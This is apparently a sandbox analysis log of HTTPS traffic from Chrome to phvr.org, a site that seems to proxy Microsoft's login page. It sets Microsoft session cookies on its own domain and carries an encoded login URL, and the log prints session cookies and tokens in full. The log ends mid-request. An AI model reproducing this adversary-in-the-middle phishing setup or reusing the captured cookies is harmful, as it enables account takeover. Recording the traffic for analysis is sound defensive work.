2024-07-03 21:50:40 UTC	11760	IN	Data Raw: 6e 69 74 69 61 74 65 50 75 6c 6c 54 69 6d 65 6f 75 74 4d 73 3d 74 2e 69 6e 69 74 69 61 74 65 50 75 6c 6c 54 69 6d 65 6f 75 74 4d 73 7c 7c 74 2e 6f 76 65 72 61 6c 6c 54 69 6d 65 6f 75 74 4d 73 2c 74 2e 69 6e 69 74 69 61 74 65 50 75 6c 6c 54 69 6d 65 6f 75 74 41 63 74 69 6f 6e 3d 74 2e 69 6e 69 74 69 61 74 65 50 75 6c 6c 54 69 6d 65 6f 75 74 41 63 74 69 6f 6e 7c 7c 22 61 62 6f 72 74 22 2c 62 28 22 42 72 6f 77 73 65 72 53 53 4f 20 49 6e 69 74 69 61 6c 69 7a 65 64 22 29 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 72 3d 74 28 33 29 2c 6f 3d 74 28 32 31 29 2c 69 3d 74 28 37 29 2c 61 3d 74 28 30 29 2c 73 3d 74 28 31 29 2c 75 3d 74 28 39 29 2e 67 65 74 49 6e 73 74 61 6e 63 65 28 77 69 6e 64 6f 77 2e 53 65 72 76 65 72 44 61 74 61 29 2c Data Ascii: nitiatePullTimeoutMs=t.initiatePullTimeoutMs\|\|t.overallTimeoutMs,t.initiatePullTimeoutAction=t.initiatePullTimeoutAction\|\|"abort",b("BrowserSSO Initialized"))}},function(e,n,t){var r=t(3),o=t(21),i=t(7),a=t(0),s=t(1),u=t(9).getInstance(window.ServerData),

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49774	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:40 UTC	3177	OUT	GET /?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=true HTTP/1.1 Host: phvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; fpc=AlWXWngi0U1FhCT5sIeZshA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYi60qYMQ9lWmw4iaeh2qgGgrqKQhTfiK7R2V-RPfmTbsbuP6AN4n7mJdI6mzxYvsC_u3yfAN0Oq96_bCFrWqvnFNgwEKnklzvgMySH_XNtwbD8NEY1uWRX29VmYcozZJGQZgAavt8Fyxu9Qet_T8kjeg-ns4bnSH3NzXRQaSnhykgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-07-03 21:50:41 UTC	2406	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains Link: <https://aadcdn.msauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msauth.net>; rel=dns-prefetch,<https://aadcdn.msftauth.net>; rel=dns-prefetch P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: c3afd4f1-2e1b-4df3-a6f1-b45bce8e6e00 x-ms-ests-server: 2.1.18399.9 - NCUS ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; expires=Fri, 02-Aug-2024 21:50:40 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; domain=phvr.org; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx-mV4bw3rMXwY=AQABCQEAAAApTwJmzXqdR4BN2miheQMYmRah8zLuxzyyKzUVOPvvP2p9wXCcRabDo2vaDDZE2qalj5wSl3TTzqnWElYiB6HS7E8BfqUZxNsL0rSrdqwAqSzwCO1sGQ4woaCqmkJTY6fDAs_6O4OXkRKuuvzQ_Dtrfqc1gt2Kzyo9zLVRPaH41yAA; domain=phvr.org; path=/; secure; HttpOnly; SameSite=None Set-Cookie: fpc=AlWXWngi0U1FhCT5sIeZshCerOTJAQAAALC-F94OAAAA; expires=Fri, 02-Aug-2024 21:50:40 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Date: Wed, 03 Jul 2024 21:50:40 GMT Connection: close content-length: 38568 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-07-03 21:50:41 UTC	13978	IN	Data Raw: 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 Data Ascii: ... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html dir="ltr" class="" lang="en"><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xd
2024-07-03 21:50:41 UTC	16384	IN	Data Raw: 71 31 62 4b 4a 47 6b 71 4c 39 47 2d 54 67 36 5a 52 68 6e 43 71 2d 72 4c 65 55 77 7a 53 76 30 46 4f 49 73 68 48 4f 7a 73 37 62 36 39 6a 56 7a 65 65 66 5f 6a 38 66 66 5f 48 77 59 56 30 50 6e 39 66 46 6c 4d 4a 6e 31 52 56 56 79 73 78 33 56 7a 6c 64 61 4f 64 4b 62 53 6c 4a 36 48 43 70 74 67 76 5a 51 74 35 4c 64 53 4a 6f 4f 43 41 31 39 33 30 38 70 45 54 4f 33 4e 69 76 77 41 31 5c 75 30 30 32 36 66 6c 6f 77 3d 66 69 64 6f 5c 75 30 30 32 36 65 73 74 73 66 65 64 3d 31 5c 75 30 30 32 36 75 61 69 64 3d 64 36 61 66 38 30 31 62 34 32 36 33 32 38 35 30 65 38 34 32 33 66 37 66 65 65 30 37 66 37 64 30 5c 75 30 30 32 36 63 6f 62 72 61 6e 64 69 64 3d 64 65 62 33 66 37 34 61 2d 65 64 35 62 2d 34 65 66 31 2d 38 64 33 63 2d 39 32 62 38 35 64 64 34 37 33 35 32 5c 75 30 30 32 Data Ascii: q1bKJGkqL9G-Tg6ZRhnCq-rLeUwzSv0FOIshHOzs7b69jVzeef_j8ff_HwYV0Pn9fFlMJn1RVVysx3VzldaOdKbSlJ6HCptgvZQt5LdSJoOCA19308pETO3NivwA1\u0026flow=fido\u0026estsfed=1\u0026uaid=d6af801b42632850e8423f7fee07f7d0\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u002
2024-07-03 21:50:41 UTC	8206	IN	Data Raw: 20 74 61 72 67 65 74 20 65 6c 65 6d 65 6e 74 20 6d 75 73 74 20 62 65 20 70 72 6f 76 69 64 65 64 20 61 6e 64 20 63 61 6e 6e 6f 74 20 62 65 20 6e 75 6c 6c 2e 22 7d 69 66 28 75 28 65 29 29 7b 72 65 74 75 72 6e 20 63 2e 4f 6e 45 72 72 6f 72 28 65 2c 74 29 7d 76 61 72 20 6e 3d 65 2e 73 72 63 7c 7c 65 2e 68 72 65 66 7c 7c 22 22 2c 6f 3d 69 28 29 2c 73 3d 61 28 29 3b 72 28 22 5b 24 4c 6f 61 64 65 72 5d 3a 20 4c 6f 61 64 65 64 22 2c 65 29 3b 76 61 72 20 64 3d 6e 65 77 20 63 0a 3b 64 2e 66 61 69 6c 4d 65 73 73 61 67 65 3d 22 52 65 6c 6f 61 64 20 46 61 69 6c 65 64 22 2c 64 2e 73 75 63 63 65 73 73 4d 65 73 73 61 67 65 3d 22 52 65 6c 6f 61 64 20 53 75 63 63 65 73 73 22 2c 64 2e 4c 6f 61 64 28 6e 75 6c 6c 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6f 29 7b 74 68 72 Data Ascii: target element must be provided and cannot be null."}if(u(e)){return c.OnError(e,t)}var n=e.src\|\|e.href\|\|"",o=i(),s=a();r("[$Loader]: Loaded",e);var d=new c;d.failMessage="Reload Failed",d.successMessage="Reload Success",d.Load(null,function(){if(o){thr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49773	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:40 UTC	2232	OUT	GET /favicon.ico HTTP/1.1 Host: phvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; fpc=AlWXWngi0U1FhCT5sIeZshA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYi60qYMQ9lWmw4iaeh2qgGgrqKQhTfiK7R2V-RPfmTbsbuP6AN4n7mJdI6mzxYvsC_u3yfAN0Oq96_bCFrWqvnFNgwEKnklzvgMySH_XNtwbD8NEY1uWRX29VmYcozZJGQZgAavt8Fyxu9Qet_T8kjeg-ns4bnSH3NzXRQaSnhykgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-07-03 21:50:40 UTC	1173	IN	HTTP/1.1 404 Not Found Cache-Control: private Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Strict-Transport-Security: max-age=31536000; includeSubDomains P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 0f7d1001-92e2-4a2d-b6d1-c30d9a200f00 x-ms-ests-server: 2.1.18399.9 - NCUS ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Date: Wed, 03 Jul 2024 21:50:40 GMT Connection: close Content-Length: 0 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49776	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:41 UTC	2717	OUT	GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_mc5ac6ol0l4d2iaqspstyg2.css HTTP/1.1 Host: phvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQE [TRUNCATED]
2024-07-03 21:50:41 UTC	781	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:41 GMT Content-Type: text/css Content-Length: 20390 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 16 May 2024 00:58:09 GMT ETag: 0x8DC754341030FA7 x-ms-request-id: 67fe5bb6-801e-0042-6799-c9608b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240703T215041Z-16578db7b5cx4xn2nq469dn6bg00000007fg000000006tc5 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-07-03 21:50:41 UTC	15603	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 7d 6b 73 e3 36 b2 e8 f7 f9 15 5c a7 52 3b ce 4a 8c 48 3d 2d 57 52 3b 99 cc 26 3e 67 5e 35 33 d9 47 a5 52 5b b4 44 59 3c 43 89 ba 24 65 8f 57 47 ff fd e2 8d 06 d0 20 29 8f b3 d9 7b 2b 27 67 13 0b dd 6c 00 dd 8d 06 1a e8 06 be fe ea 0f c1 f3 62 77 5f 66 37 eb 3a 78 fa fc 3c 78 95 2d ca a2 2a 56 35 29 2f 77 45 99 d4 59 b1 0d 83 67 79 1e 30 a4 2a 28 d3 2a 2d 6f d3 65 18 7c f5 f5 d7 5f fd e1 49 bf fb ff 05 ef 3f 3c 7b f7 21 78 f3 97 e0 c3 8f 57 ef be 0f de 92 5f ff 08 5e bf f9 70 f5 fc 45 d0 99 ca 93 27 1f d6 59 15 ac b2 3c 0d c8 7f af 93 2a 5d 06 c5 36 28 ca 20 db 2e 44 ab d3 2a d8 90 7f 97 59 92 07 ab b2 d8 04 f5 3a 0d 76 65 f1 3f e9 82 f4 21 cf aa 9a 7c 74 9d e6 c5 5d f0 94 90 2b 97 c1 db a4 ac ef 83 ab b7 e7 61 f0 81 e0 16 Data Ascii: }ks6\R;JH=-WR;&>g^53GR[DY<C$eWG ){+'glbw_f7:x<x-V5)/wEYgy0(-oe\|_I?<{!xW_^pE'Y<]6( .D*Y:ve?!\|t]+a
2024-07-03 21:50:41 UTC	4787	IN	Data Raw: e7 bc b1 e2 92 61 7d df b0 68 ac ab 2c aa b1 88 da cb c6 22 89 f4 a2 b1 42 53 1e da 58 e7 55 1e b5 fb a5 96 31 c6 85 9c 5c 95 58 0f 77 34 04 a7 bc ef e9 bc 62 55 e4 cb 9d 46 11 60 f2 34 8a 20 ba 0a e1 1d 2d b3 ba 41 d4 6a 33 50 25 58 6c a8 15 02 68 eb 56 83 ba b5 a0 21 5d f4 aa e1 60 30 5e 26 13 b7 4f 5a e3 0c 32 50 fb 10 40 6b 9f fc 5a d9 82 86 f5 c9 a7 ad bc 4f 0f 53 c6 3e 8f 75 ef 81 fb bb e5 60 13 bf d0 d1 86 c0 d4 70 43 60 72 bc 81 ca 0c ee 7b ca cd 06 61 90 56 01 34 34 b4 0d 0f 13 81 b8 e1 dc 70 52 d0 d3 64 f3 b6 df 8a 2c 1c d2 a7 e1 c5 ec 1c b9 2b 18 00 b1 42 22 26 de 7d 9d 59 8d 1f 8e 83 89 00 6e 65 8f 64 aa a2 fc c3 d8 65 70 5f b6 f7 9c 65 7e ea 83 9d 2c f7 31 10 e4 08 df ce 47 c4 df 33 f4 3c 40 c9 2e 2b 17 af 8a ce 37 c9 36 db ed 73 c6 5e f7 a6 Data Ascii: a}h,"BSXU1\Xw4bUF`4 -Aj3P%XlhV!]`0^&OZ2P@kZOS>u`pC`r{aV44pRd,+B"&}Ynedep_e~,1G3<@.+76s^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49777	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:41 UTC	2694	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_Kjlmc42uL0ATl_21eYcwVg2.js HTTP/1.1 Host: phvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: 